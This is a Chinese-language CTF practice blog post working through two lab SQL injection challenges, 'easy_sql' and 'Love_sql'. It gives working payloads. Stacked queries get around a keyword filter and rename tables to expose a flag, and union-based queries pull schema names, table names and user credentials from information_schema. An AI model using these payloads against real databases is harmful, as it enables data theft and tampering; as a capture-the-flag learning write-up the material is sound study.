天天看點

ctf每日練習-第四天

今天的内容主要是sqli,好幾天沒寫首先因為這幾天剛開學事情比較多,二是因為這幾天一直都在學習,刷題反而不是很多,今天和同學去圖書館學了一波,感覺收獲很大。

easy_sql(來自攻防世界web進階區)

題目連結: easy_sql.

首先我們嘗試一個單引号,報錯

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1

可以判斷sql語句應該是 =’ input’

嘗試用1’–+注入,發現被過濾掉

嘗試用#,成功

用order by 判斷列數為2

ctf每日練習-第四天

用select語句發現被過濾了

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

嘗試堆疊注入:

查詢所有庫

ctf每日練習-第四天

查詢所有表:

ctf每日練習-第四天

查詢這兩個表内的字段

1';show columns from words;#
           
ctf每日練習-第四天
1';show columns from `1919810931114514`;#
           
ctf每日練習-第四天

這裡可以判斷預設查詢的是words這個表,我們通過改名字把數字名字表改為words然後把flag字段改成id

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; 	alter table `words` change `flag` `id` varchar(100);#
           
ctf每日練習-第四天

Love_sql(來自buuctf 極客大挑戰2019)

1’ or1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata #

ctf每日練習-第四天

1’ or 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’ #

ctf每日練習-第四天

1’ or 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’ #

l0ve1ysq1

ctf每日練習-第四天

1’ or 1=2 union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 #

ctf每日練習-第四天